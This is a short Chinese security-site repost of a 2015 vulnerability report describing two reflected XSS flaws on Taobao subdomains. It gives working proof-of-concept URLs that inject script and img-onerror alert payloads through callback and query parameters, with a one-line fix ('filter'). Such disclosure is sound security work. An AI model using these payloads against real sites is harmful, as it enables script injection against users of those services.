淘宝网2处反射型xss - 网站安全

淘宝网2处反射型xss - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-17 13:02 作者：阅读:次

[导读] http://fang.taobao.com/fang/activities/getLotteryInfo.html?callback=scriptalert(/goderci/)/script【IE 6测试】http://kezhan.trip.taobao.com/remote/citySearch.do?callback={callback}q=11111im......

http://fang.taobao.com/fang/activities/getLotteryInfo.html?callback=<script>alert(/goderci/)</script>【IE 6测试】

http://kezhan.trip.taobao.com/remote/citySearch.do?&callback={callback}&q=11111<img src=1 onerror=alert(/goderci/)>

修复方案：
过滤！

作者 goderci

申通快递+如风达快递SQL注入 - 网站安全 - 自学

书旗小说网SQL注射漏洞及修复 - 网站安全 - 自学

子栏目

淘宝网2处反射型xss - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论